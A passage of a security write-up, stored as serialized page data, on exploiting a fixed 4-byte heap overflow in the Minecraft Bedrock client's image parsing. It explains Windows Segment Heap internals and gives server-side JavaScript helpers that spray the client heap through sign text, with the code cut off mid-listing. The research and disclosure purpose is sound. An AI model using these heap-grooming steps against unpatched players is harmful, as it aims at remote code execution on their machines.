rops":147504,"children":147505},{"style":259},[147506],{"type":28,"value":11768},{"type":23,"tag":139,"props":147508,"children":147509},{"style":294},[147510],{"type":28,"value":82249},{"type":23,"tag":139,"props":147512,"children":147513},{"style":259},[147514],{"type":28,"value":1820},{"type":23,"tag":24,"props":147516,"children":147517},{},[147518,147520,147525,147527,147532],{"type":28,"value":147519},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":23,"tag":135,"props":147521,"children":147523},{"className":147522},[],[147524],{"type":28,"value":146072},{"type":28,"value":147526}," and the value of ",{"type":23,"tag":135,"props":147528,"children":147530},{"className":147529},[],[147531],{"type":28,"value":24},{"type":28,"value":147533}," just before the OOB write happens:",{"type":23,"tag":128,"props":147535,"children":147537},{"code":147536},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[147538],{"type":23,"tag":135,"props":147539,"children":147540},{"__ignoreMap":7},[147541],{"type":28,"value":147536},{"type":23,"tag":24,"props":147543,"children":147544},{},[147545,147547,147552,147554,147559],{"type":28,"value":147546},"There are multiple within-bound writes to ",{"type":23,"tag":135,"props":147548,"children":147550},{"className":147549},[],[147551],{"type":28,"value":24},{"type":28,"value":147553},", but the last write happens just after the ",{"type":23,"tag":135,"props":147555,"children":147557},{"className":147556},[],[147558],{"type":28,"value":146072},{"type":28,"value":147560}," allocation.",{"type":23,"tag":666,"props":147562,"children":147564},{"id":147563},"summarizing-the-corruption",[147565],{"type":28,"value":147566},"Summarizing the Corruption",{"type":23,"tag":14699,"props":147568,"children":147569},{},[147570,147583,147611],{"type":23,"tag":801,"props":147571,"children":147572},{},[147573,147575,147581],{"type":28,"value":147574},"A single ",{"type":23,"tag":135,"props":147576,"children":147578},{"className":147577},[],[147579],{"type":28,"value":147580},"0x01",{"type":28,"value":147582}," byte write OOB",{"type":23,"tag":801,"props":147584,"children":147585},{},[147586,147588],{"type":28,"value":147587},"4-byte OOB write just above the allocated buffer\n",{"type":23,"tag":14699,"props":147589,"children":147590},{},[147591,147596,147606],{"type":23,"tag":801,"props":147592,"children":147593},{},[147594],{"type":28,"value":147595},"First three bytes are controllable",{"type":23,"tag":801,"props":147597,"children":147598},{},[147599,147601],{"type":28,"value":147600},"Last byte will be ",{"type":23,"tag":135,"props":147602,"children":147604},{"className":147603},[],[147605],{"type":28,"value":111247},{"type":23,"tag":801,"props":147607,"children":147608},{},[147609],{"type":28,"value":147610},"Size of the allocation is controlled",{"type":23,"tag":801,"props":147612,"children":147613},{},[147614,147616],{"type":28,"value":147615},"Both corruptions are done on a short-lived allocation\n",{"type":23,"tag":14699,"props":147617,"children":147618},{},[147619,147624],{"type":23,"tag":801,"props":147620,"children":147621},{},[147622],{"type":28,"value":147623},"Allocated just before the image-parsing process",{"type":23,"tag":801,"props":147625,"children":147626},{},[147627],{"type":28,"value":147628},"Freed immediately upon parsing completion",{"type":23,"tag":16800,"props":147630,"children":147631},{},[],{"type":23,"tag":24,"props":147633,"children":147634},{},[147635,147637,147644,147646,147653],{"type":28,"value":147636},"Note that this bug was already found before (",{"type":23,"tag":64,"props":147638,"children":147641},{"href":147639,"rel":147640},"https://github.com/nothings/stb/issues/656",[68],[147642],{"type":28,"value":147643},"Github Issue",{"type":28,"value":147645},") but we missed it at the time. It was later fixed in ",{"type":23,"tag":64,"props":147647,"children":147650},{"href":147648,"rel":147649},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[68],[147651],{"type":28,"value":147652},"this commit",{"type":28,"value":73},{"type":23,"tag":41,"props":147655,"children":147656},{"id":3422},[147657],{"type":28,"value":3425},{"type":23,"tag":24,"props":147659,"children":147660},{},[147661],{"type":28,"value":147662},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":23,"tag":24,"props":147664,"children":147665},{},[147666],{"type":28,"value":147667},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":23,"tag":666,"props":147669,"children":147671},{"id":147670},"searching-for-better-primitives",[147672],{"type":28,"value":147673},"Searching for Better Primitives",{"type":23,"tag":24,"props":147675,"children":147676},{},[147677],{"type":28,"value":147678},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":23,"tag":24,"props":147680,"children":147681},{},[147682,147684,147691],{"type":28,"value":147683},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":23,"tag":64,"props":147685,"children":147688},{"href":147686,"rel":147687},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[68],[147689],{"type":28,"value":147690},"UWP",{"type":28,"value":147692}," applications (such as Minecraft Bedrock Edition).",{"type":23,"tag":666,"props":147694,"children":147696},{"id":147695},"segment-heap",[147697],{"type":28,"value":147698},"Segment Heap",{"type":23,"tag":24,"props":147700,"children":147701},{},[147702,147704,147711],{"type":28,"value":147703},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":23,"tag":64,"props":147705,"children":147708},{"href":147706,"rel":147707},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[68],[147709],{"type":28,"value":147710},"this talk",{"type":28,"value":147712}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":23,"tag":16900,"props":147714,"children":147716},{"id":147715},"low-fragmentation-heap",[147717],{"type":28,"value":147718},"Low Fragmentation Heap",{"type":23,"tag":24,"props":147720,"children":147721},{},[147722,147724,147730],{"type":28,"value":147723},"Low Fragmentation Heap (LFH) services allocations of ",{"type":23,"tag":135,"props":147725,"children":147727},{"className":147726},[],[147728],{"type":28,"value":147729},"0x3ff0",{"type":28,"value":147731}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":23,"tag":24,"props":147733,"children":147734},{},[147735],{"type":28,"value":147736},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":23,"tag":128,"props":147738,"children":147740},{"code":147739},"              +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 . . . |\n              |                         |\n",[147741],{"type":23,"tag":135,"props":147742,"children":147743},{"__ignoreMap":7},[147744],{"type":28,"value":147739},{"type":23,"tag":24,"props":147746,"children":147747},{},[147748],{"type":28,"value":147749},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":23,"tag":16900,"props":147751,"children":147753},{"id":147752},"variable-size",[147754],{"type":28,"value":147755},"Variable Size",{"type":23,"tag":24,"props":147757,"children":147758},{},[147759,147761,147767,147769,147775],{"type":28,"value":147760},"This subsegment is used for allocation sizes from ",{"type":23,"tag":135,"props":147762,"children":147764},{"className":147763},[],[147765],{"type":28,"value":147766},"0x4000",{"type":28,"value":147768}," and up to ",{"type":23,"tag":135,"props":147770,"children":147772},{"className":147771},[],[147773],{"type":28,"value":147774},"0x20_000",{"type":28,"value":147776},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":23,"tag":128,"props":147778,"children":147780},{"code":147779},"                          +-------------------------+\n            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          +-------------------------+\n            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 . . . |\n                          |                         |\n",[147781],{"type":23,"tag":135,"props":147782,"children":147783},{"__ignoreMap":7},[147784],{"type":28,"value":147779},{"type":23,"tag":24,"props":147786,"children":147787},{},[147788,147790,147796],{"type":28,"value":147789},"The header, ",{"type":23,"tag":135,"props":147791,"children":147793},{"className":147792},[],[147794],{"type":28,"value":147795},"HEAP_VS_CHUNK_HEADER",{"type":28,"value":147797},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":23,"tag":16800,"props":147799,"children":147800},{},[],{"type":23,"tag":24,"props":147802,"children":147803},{},[147804],{"type":28,"value":147805},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":23,"tag":24,"props":147807,"children":147808},{},[147809,147811,147818],{"type":28,"value":147810},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":23,"tag":64,"props":147812,"children":147815},{"href":147813,"rel":147814},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[68],[147816],{"type":28,"value":147817},"technique published",{"type":28,"value":147819}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":23,"tag":24,"props":147821,"children":147822},{},[147823],{"type":28,"value":147824},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":23,"tag":24,"props":147826,"children":147827},{},[147828],{"type":28,"value":147829},"In either case, we needed a way to spray the heap before we could proceed.",{"type":23,"tag":666,"props":147831,"children":147833},{"id":147832},"finding-a-way-to-spray-the-heap",[147834],{"type":28,"value":147835},"Finding a Way to Spray the Heap",{"type":23,"tag":24,"props":147837,"children":147838},{},[147839],{"type":28,"value":147840},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":23,"tag":14699,"props":147842,"children":147843},{},[147844,147849,147854,147859],{"type":23,"tag":801,"props":147845,"children":147846},{},[147847],{"type":28,"value":147848},"The size of the allocation",{"type":23,"tag":801,"props":147850,"children":147851},{},[147852],{"type":28,"value":147853},"The data written into the allocated buffer",{"type":23,"tag":801,"props":147855,"children":147856},{},[147857],{"type":28,"value":147858},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":23,"tag":801,"props":147860,"children":147861},{},[147862],{"type":28,"value":147863},"The number of created objects (preferably unbounded)",{"type":23,"tag":24,"props":147865,"children":147866},{},[147867],{"type":28,"value":147868},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":23,"tag":16900,"props":147870,"children":147872},{"id":147871},"minecraft-signs",[147873],{"type":28,"value":147874},"Minecraft Signs",{"type":23,"tag":24,"props":147876,"children":147877},{},[147878],{"type":28,"value":147879},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":23,"tag":24,"props":147881,"children":147882},{},[147883,147885,147891],{"type":28,"value":147884},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":23,"tag":135,"props":147886,"children":147888},{"className":147887},[],[147889],{"type":28,"value":147890},"std::string",{"type":28,"value":73},{"type":23,"tag":24,"props":147893,"children":147894},{},[147895,147897,147902],{"type":28,"value":147896},"In Microsoft’s C++ implementation, ",{"type":23,"tag":135,"props":147898,"children":147900},{"className":147899},[],[147901],{"type":28,"value":147890},{"type":28,"value":147903}," is structured roughly as follows:",{"type":23,"tag":128,"props":147905,"children":147907},{"code":147906,"language":1123,"meta":7,"className":14526,"style":7},"struct string\n{\n    union {\n        char* ptr;\n        char buf[16];\n    };\n    size_t size;\n    size_t capacity;\n};\n",[147908],{"type":23,"tag":135,"props":147909,"children":147910},{"__ignoreMap":7},[147911,147922,147929,147941,147957,147981,147988,147999,148011],{"type":23,"tag":139,"props":147912,"children":147913},{"class":141,"line":142},[147914,147918],{"type":23,"tag":139,"props":147915,"children":147916},{"style":279},[147917],{"type":28,"value":7409},{"type":23,"tag":139,"props":147919,"children":147920},{"style":259},[147921],{"type":28,"value":82948},{"type":23,"tag":139,"props":147923,"children":147924},{"class":141,"line":151},[147925],{"type":23,"tag":139,"props":147926,"children":147927},{"style":259},[147928],{"type":28,"value":8890},{"type":23,"tag":139,"props":147930,"children":147931},{"class":141,"line":160},[147932,147937],{"type":23,"tag":139,"props":147933,"children":147934},{"style":279},[147935],{"type":28,"value":147936},"    union",{"type":23,"tag":139,"props":147938,"children":147939},{"style":259},[147940],{"type":28,"value":1268},{"type":23,"tag":139,"props":147942,"children":147943},{"class":141,"line":169},[147944,147949,147953],{"type":23,"tag":139,"props":147945,"children":147946},{"style":279},[147947],{"type":28,"value":147948},"        char",{"type":23,"tag":139,"props":147950,"children":147951},{"style":982},[147952],{"type":28,"value":2573},{"type":23,"tag":139,"props":147954,"children":147955},{"style":259},[147956],{"type":28,"value":14568},{"type":23,"tag":139,"props":147958,"children":147959},{"class":141,"line":178},[147960,147964,147969,147973,147977],{"type":23,"tag":139,"props":147961,"children":147962},{"style":279},[147963],{"type":28,"value":147948},{"type":23,"tag":139,"props":147965,"children":147966},{"style":294},[147967],{"type":28,"value":147968}," buf",{"type":23,"tag":139,"props":147970,"children":147971},{"style":259},[147972],{"type":28,"value":1723},{"type":23,"tag":139,"props":147974,"children":147975},{"style":1016},[147976],{"type":28,"value":38738},{"type":23,"tag":139,"props":147978,"children":147979},{"style":259},[147980],{"type":28,"value":29461},{"type":23,"tag":139,"props":147982,"children":147983},{"class":141,"line":187},[147984],{"type":23,"tag":139,"props":147985,"children":147986},{"style":259},[147987],{"type":28,"value":36887},{"type":23,"tag":139,"props":147989,"children":147990},{"class":141,"line":196},[147991,147995],{"type":23,"tag":139,"props":147992,"children":147993},{"style":279},[147994],{"type":28,"value":14576},{"type":23,"tag":139,"props":147996,"children":147997},{"style":259},[147998],{"type":28,"value":122506},{"type":23,"tag":139,"props":148000,"children":148001},{"class":141,"line":205},[148002,148006],{"type":23,"tag":139,"props":148003,"children":148004},{"style":279},[148005],{"type":28,"value":14576},{"type":23,"tag":139,"props":148007,"children":148008},{"style":259},[148009],{"type":28,"value":148010}," capacity;\n",{"type":23,"tag":139,"props":148012,"children":148013},{"class":141,"line":214},[148014],{"type":23,"tag":139,"props":148015,"children":148016},{"style":259},[148017],{"type":28,"value":14589},{"type":23,"tag":24,"props":148019,"children":148020},{},[148021,148023,148029,148031,148036],{"type":28,"value":148022},"We are primarily interested in the union: ",{"type":23,"tag":135,"props":148024,"children":148026},{"className":148025},[],[148027],{"type":28,"value":148028},"buf",{"type":28,"value":148030}," is used when the string fits within 16 bytes, while ",{"type":23,"tag":135,"props":148032,"children":148034},{"className":148033},[],[148035],{"type":28,"value":11960},{"type":28,"value":148037}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":23,"tag":24,"props":148039,"children":148040},{},[148041],{"type":28,"value":148042},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":23,"tag":24,"props":148044,"children":148045},{},[148046],{"type":28,"value":148047},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":23,"tag":16900,"props":148049,"children":148051},{"id":148050},"spraying-with-server-side-scripting",[148052],{"type":28,"value":148053},"Spraying With Server-Side Scripting",{"type":23,"tag":24,"props":148055,"children":148056},{},[148057],{"type":28,"value":148058},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":23,"tag":24,"props":148060,"children":148061},{},[148062,148064,148070,148071,148077],{"type":28,"value":148063},"We wrote ",{"type":23,"tag":135,"props":148065,"children":148067},{"className":148066},[],[148068],{"type":28,"value":148069},"alloc",{"type":28,"value":9002},{"type":23,"tag":135,"props":148072,"children":148074},{"className":148073},[],[148075],{"type":28,"value":148076},"free",{"type":28,"value":148078}," helpers that trigger an allocation in the client and free it on demand:",{"type":23,"tag":128,"props":148080,"children":148082},{"code":148081,"language":33505,"meta":7,"className":33503,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n    for (let sign of signs) {\n        if (sign.allocated || sign.removed) {\n            continue;\n        }\n\n        sign.sign.setText(fill.repeat(size - 1));\n        sign.allocated = true;\n        return sign;\n    }\n\n    console.warn(\"No more allocs\");\n    return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n    if (sign == undefined || sign.allocated == false) {\n        return;\n    }\n\n    sign.sign.setText(\"\");\n    sign.allocated = false;\n\n    sign.block.setPermutation(\n        BlockPermutation.resolve(\"minecraft:air\")\n    );\n    sign.removed = true;\n}\n",[148083],{"type":23,"tag":135,"props":148084,"children":148085},{"__ignoreMap":7},[148086,148094,148136,148169,148214,148226,148233,148240,148301,148328,148343,148350,148357,148386,148401,148408,148415,148423,148447,148498,148509,148516,148523,148560,148587,148594,148623,148653,148660,148687],{"type":23,"tag":139,"props":148087,"children":148088},{"class":141,"line":142},[148089],{"type":23,"tag":139,"props":148090,"children":148091},{"style":958},[148092],{"type":28,"value":148093},"// Allocate sign text in the client\n",{"type":23,"tag":139,"props":148095,"children":148096},{"class":141,"line":151},[148097,148101,148106,148110,148114,148118,148123,148127,148132],{"type":23,"tag":139,"props":148098,"children":148099},{"style":279},[148100],{"type":28,"value":29264},{"type":23,"tag":139,"props":148102,"children":148103},{"style":245},[148104],{"type":28,"value":148105}," alloc",{"type":23,"tag":139,"props":148107,"children":148108},{"style":259},[148109],{"type":28,"value":262},{"type":23,"tag":139,"props":148111,"children":148112},{"style":294},[148113],{"type":28,"value":122164},{"type":23,"tag":139,"props":148115,"children":148116},{"style":259},[148117],{"type":28,"value":1052},{"type":23,"tag":139,"props":148119,"children":148120},{"style":294},[148121],{"type":28,"value":148122},"fill",{"type":23,"tag":139,"props":148124,"children":148125},{"style":982},[148126],{"type":28,"value":1067},{"type":23,"tag":139,"props":148128,"children":148129},{"style":265},[148130],{"type":28,"value":148131},"\"A\"",{"type":23,"tag":139,"props":148133,"children":148134},{"style":259},[148135],{"type":28,"value":12815},{"type":23,"tag":139,"props":148137,"children":148138},{"class":141,"line":160},[148139,148143,148147,148151,148156,148160,148165],{"type":23,"tag":139,"props":148140,"children":148141},{"style":319},[148142],{"type":28,"value":1003},{"type":23,"tag":139,"props":148144,"children":148145},{"style":259},[148146],{"type":28,"value":1042},{"type":23,"tag":139,"props":148148,"children":148149},{"style":279},[148150],{"type":28,"value":9798},{"type":23,"tag":139,"props":148152,"children":148153},{"style":294},[148154],{"type":28,"value":148155}," sign",{"type":23,"tag":139,"props":148157,"children":148158},{"style":279},[148159],{"type":28,"value":8372},{"type":23,"tag":139,"props":148161,"children":148162},{"style":294},[148163],{"type":28,"value":148164}," signs",{"type":23,"tag":139,"props":148166,"children":148167},{"style":259},[148168],{"type":28,"value":12815},{"type":23,"tag":139,"props":148170,"children":148171},{"class":141,"line":169},[148172,148176,148180,148185,148189,148194,148198,148202,148206,148210],{"type":23,"tag":139,"props":148173,"children":148174},{"style":319},[148175],{"type":28,"value":1249},{"type":23,"tag":139,"props":148177,"children":148178},{"style":259},[148179],{"type":28,"value":1042},{"type":23,"tag":139,"props":148181,"children":148182},{"style":294},[148183],{"type":28,"value":148184},"sign",{"type":23,"tag":139,"props":148186,"children":148187},{"style":259},[148188],{"type":28,"value":73},{"type":23,"tag":139,"props":148190,"children":148191},{"style":294},[148192],{"type":28,"value":148193},"allocated",{"type":23,"tag":139,"props":148195,"children":148196},{"style":982},[148197],{"type":28,"value":21717},{"type":23,"tag":139,"props":148199,"children":148200},{"style":294},[148201],{"type":28,"value":148155},{"type":23,"tag":139,"props":148203,"children":148204},{"style":259},[148205],{"type":28,"value":73},{"type":23,"tag":139,"props":148207,"children":148208},{"style":294},[148209],{"type":28,"value":130869},{"type":23,"tag":139,"props":148211,"children":148212},{"style":259},[148213],{"type":28,"value":12815},{"type":23,"tag":139,"props":148215,"children":148216},{"class":141,"line":178},[148217,148222],{"type":23,"tag":139,"props":148218,"children":148219},{"style":319},[148220],{"type":28,"value":148221},"            continue",{"type":23,"tag":139,"props":148223,"children":148224},{"style":259},[148225],{"type":28,"value":995},{"type":23,"tag":139,"props":148227,"children":148228},{"class":141,"line":187},[148229],{"type":23,"tag":139,"props":148230,"children":148231},{"style":259},[148232],{"type":28,"value":1326},{"type":23,"tag":139,"props":148234,"children":148235},{"class":141,"line":196},[148236],{"type":23,"tag":139,"props":148237,"children":148238},{"emptyLinePlaceholder":15},[148239],{"type":28,"value":184},{"type":23,"tag":139,"props":148241,"children":148242},{"class":141,"line":205},[148243,148248,148252,148256,148260,148265,148269,148273,148277,148281,148285,148289,148293,148297],{"type":23,"tag":139,"props":148244,"children":148245},{"style":294},[148246],{"type":28,"value":148247},"        sign",{"type":23,"tag":139,"props":148249,"children":148250},{"style":259},[148251],{"type":28,"value":73},{"type":23,"tag":139,"props":148253,"children":148254},{"style":294},[148255],{"type":28,"value":148184},{"type":23,"tag":139,"props":148257,"children":148258},{"style":259},[148259],{"type":28,"value":73},{"type":23,"tag":139,"props":148261,"children":148262},{"style":245},[148263],{"type":28,"value":148264},"setText",{"type":23,"tag":139,"props":148266,"children":148267},{"style":259},[148268],{"type":28,"value":262},{"type":23,"tag":139,"props":148270,"children":148271},{"style":294},[148272],{"type":28,"value":148122},{"type":23,"tag":139,"props":148274,"children":148275},{"style":259},[148276],{"type":28,"value":73},{"type":23,"tag":139,"props":148278,"children":148279},{"style":245},[148280],{"type":28,"value":131119},{"type":23,"tag":139,"props":148282,"children":148283},{"style":259},[148284],{"type":28,"value":262},{"type":23,"tag":139,"props":148286,"children":148287},{"style":294},[148288],{"type":28,"value":122164},{"type":23,"tag":139,"props":148290,"children":148291},{"style":982},[148292],{"type":28,"value":49153},{"type":23,"tag":139,"props":148294,"children":148295},{"style":1016},[148296],{"type":28,"value":2525},{"type":23,"tag":139,"props":148298,"children":148299},{"style":259},[148300],{"type":28,"value":5226},{"type":23,"tag":139,"props":148302,"children":148303},{"class":141,"line":214},[148304,148308,148312,148316,148320,148324],{"type":23,"tag":139,"props":148305,"children":148306},{"style":294},[148307],{"type":28,"value":148247},{"type":23,"tag":139,"props":148309,"children":148310},{"style":259},[148311],{"type":28,"value":73},{"type":23,"tag":139,"props":148313,"children":148314},{"style":294},[148315],{"type":28,"value":148193},{"type":23,"tag":139,"props":148317,"children":148318},{"style":982},[148319],{"type":28,"value":985},{"type":23,"tag":139,"props":148321,"children":148322},{"style":279},[148323],{"type":28,"value":10480},{"type":23,"tag":139,"props":148325,"children":148326},{"style":259},[148327],{"type":28,"value":995},{"type":23,"tag":139,"props":148329,"children":148330},{"class":141,"line":1320},[148331,148335,148339],{"type":23,"tag":139,"props":148332,"children":148333},{"style":319},[148334],{"type":28,"value":13755},{"type":23,"tag":139,"props":148336,"children":148337},{"style":294},[148338],{"type":28,"value":148155},{"type":23,"tag":139,"props":148340,"children":148341},{"style":259},[148342],{"type":28,"value":995},{"type":23,"tag":139,"props":148344,"children":148345},{"class":141,"line":1329},[148346],{"type":23,"tag":139,"props":148347,"children":148348},{"style":259},[148349],{"type":28,"value":1335},{"type":23,"tag":139,"props":148351,"children":148352},{"class":141,"line":1580},[148353],{"type":23,"tag":139,"props":148354,"children":148355},{"emptyLinePlaceholder":15},[148356],{"type":28,"value":184},{"type":23,"tag":139,"props":148358,"children":148359},{"class":141,"line":1597},[148360,148364,148368,148373,148377,148382],{"type":23,"tag":139,"props":148361,"children":148362},{"style":294},[148363],{"type":28,"value":29326},{"type":23,"tag":139,"props":148365,"children":148366},{"style":259},[148367],{"type":28,"value":73},{"type":23,"tag":139,"props":148369,"children":148370},{"style":245},[148371],{"type":28,"value":148372},"warn",{"type":23,"tag":139,"props":148374,"children":148375},{"style":259},[148376],{"type":28,"value":262},{"type":23,"tag":139,"props":148378,"children":148379},{"style":265},[148380],{"type":28,"value":148381},"\"No more allocs\"",{"type":23,"tag":139,"props":148383,"children":148384},{"style":259},[148385],{"type":28,"value":1820},{"type":23,"tag":139,"props":148387,"children":148388},{"class":141,"line":1614},[148389,148393,148397],{"type":23,"tag":139,"props":148390,"children":148391},{"style":319},[148392],{"type":28,"value":322},{"type":23,"tag":139,"props":148394,"children":148395},{"style":279},[148396],{"type":28,"value":37228},{"type":23,"tag":139,"props":148398,"children":148399},{"style":259},[148400],{"type":28,"value":995},{"type":23,"tag":139,"props":148402,"children":148403},{"class":141,"line":1627},[148404],{"type":23,"tag":139,"props":148405,"children":148406},{"style":259},[148407],{"type":28,"value":1897},{"type":23,"tag":139,"props":148409,"children":148410},{"class":141,"line":1636},[148411],{"type":23,"tag":139,"props":148412,"children":148413},{"emptyLinePlaceholder":15},[148414],{"type":28,"value":184},{"type":23,"tag":139,"props":148416,"children":148417},{"class":141,"line":1659},[148418],{"type":23,"tag":139,"props":148419,"children":148420},{"style":958},[148421],{"type":28,"value":148422},"// Free an allocated sign in the client\n",{"type":23,"tag":139,"props":148424,"children":148425},{"class":141,"line":1667},[148426,148430,148435,148439,148443],{"type":23,"tag":139,"props":148427,"children":148428},{"style":279},[148429],{"type":28,"value":29264},{"type":23,"tag":139,"props":148431,"children":148432},{"style":245},[148433],{"type":28,"value":148434}," free",{"type":23,"tag":139,"props":148436,"children":148437},{"style":259},[148438],{"type":28,"value":262},{"type":23,"tag":139,"props":148440,"children":148441},{"style":294},[148442],{"type":28,"value":148184},{"type":23,"tag":139,"props":148444,"children":148445},{"style":259},[148446],{"type":28,"value":12815},{"type":23,"tag":139,"props":148448,"children":148449},{"class":141,"line":1676},[148450,148454,148458,148462,148466,148470,148474,148478,148482,148486,148490,148494],{"type":23,"tag":139,"props":148451,"children":148452},{"style":319},[148453],{"type":28,"value":10290},{"type":23,"tag":139,"props":148455,"children":148456},{"style":259},[148457],{"type":28,"value":1042},{"type":23,"tag":139,"props":148459,"children":148460},{"style":294},[148461],{"type":28,"value":148184},{"type":23,"tag":139,"props":148463,"children":148464},{"style":982},[148465],{"type":28,"value":1259},{"type":23,"tag":139,"props":148467,"children":148468},{"style":279},[148469],{"type":28,"value":37228},{"type":23,"tag":139,"props":148471,"children":148472},{"style":982},[148473],{"type":28,"value":21717},{"type":23,"tag":139,"props":148475,"children":148476},{"style":294},[148477],{"type":28,"value":148155},{"type":23,"tag":139,"props":148479,"children":148480},{"style":259},[148481],{"type":28,"value":73},{"type":23,"tag":139,"props":148483,"children":148484},{"style":294},[148485],{"type":28,"value":148193},{"type":23,"tag":139,"props":148487,"children":148488},{"style":982},[148489],{"type":28,"value":1259},{"type":23,"tag":139,"props":148491,"children":148492},{"style":279},[148493],{"type":28,"value":7064},{"type":23,"tag":139,"props":148495,"children":148496},{"style":259},[148497],{"type":28,"value":12815},{"type":23,"tag":139,"props":148499,"children":148500},{"class":141,"line":1745},[148501,148505],{"type":23,"tag":139,"props":148502,"children":148503},{"style":319},[148504],{"type":28,"value":13755},{"type":23,"tag":139,"props":148506,"children":148507},{"style":259},[148508],{"type":28,"value":995},{"type":23,"tag":139,"props":148510,"children":148511},{"class":141,"line":1753},[148512],{"type":23,"tag":139,"props":148513,"children":148514},{"style":259},[148515],{"type":28,"value":1335},{"type":23,"tag":139,"props":148517,"children":148518},{"class":141,"line":1783},[148519],{"type":23,"tag":139,"props":148520,"children":148521},{"emptyLinePlaceholder":15},[148522],{"type":28,"value":184},{"type":23,"tag":139,"props":148524,"children":148525},{"class":141,"line":1791},[148526,148531,148535,148539,148543,148547,148551,148556],{"type":23,"tag":139,"props":148527,"children":148528},{"style":294},[148529],{"type":28,"value":148530},"    sign",{"type":23,"tag":139,"props":148532,"children":148533},{"style":259},[148534],{"type":28,"value":73},{"type":23,"tag":139,"props":148536,"children":148537},{"style":294},[148538],{"type":28,"value":148184},{"type":23,"tag":139,"props":148540,"children":148541},{"style":259},[148542],{"type":28,"value":73},{"type":23,"tag":139,"props":148544,"children":148545},{"style":245},[148546],{"type":28,"value":148264},{"type":23,"tag":139,"props":148548,"children":148549},{"style":259},[148550],{"type":28,"value":262},{"type":23,"tag":139,"props":148552,"children":148553},{"style":265},[148554],{"type":28,"value":148555},"\"\"",{"type":23,"tag":139,"props":148557,"children":148558},{"style":259},[148559],{"type":28,"value":1820},{"type":23,"tag":139,"props":148561,"children":148562},{"class":141,"line":1823},[148563,148567,148571,148575,148579,148583],{"type":23,"tag":139,"props":148564,"children":148565},{"style":294},[148566],{"type":28,"value":148530},{"type":23,"tag":139,"props":148568,"children":148569},{"style":259},[148570],{"type":28,"value":73},{"type":23,"tag":139,"props":148572,"children":148573},{"style":294},[148574],{"type":28,"value":148193},{"type":23,"tag":139,"props":148576,"children":148577},{"style":982},[148578],{"type":28,"value":985},{"type":23,"tag":139,"props":148580,"children":148581},{"style":279},[148582],{"type":28,"value":7064},{"type":23,"tag":139,"props":148584,"children":148585},{"style":259},[148586],{"type"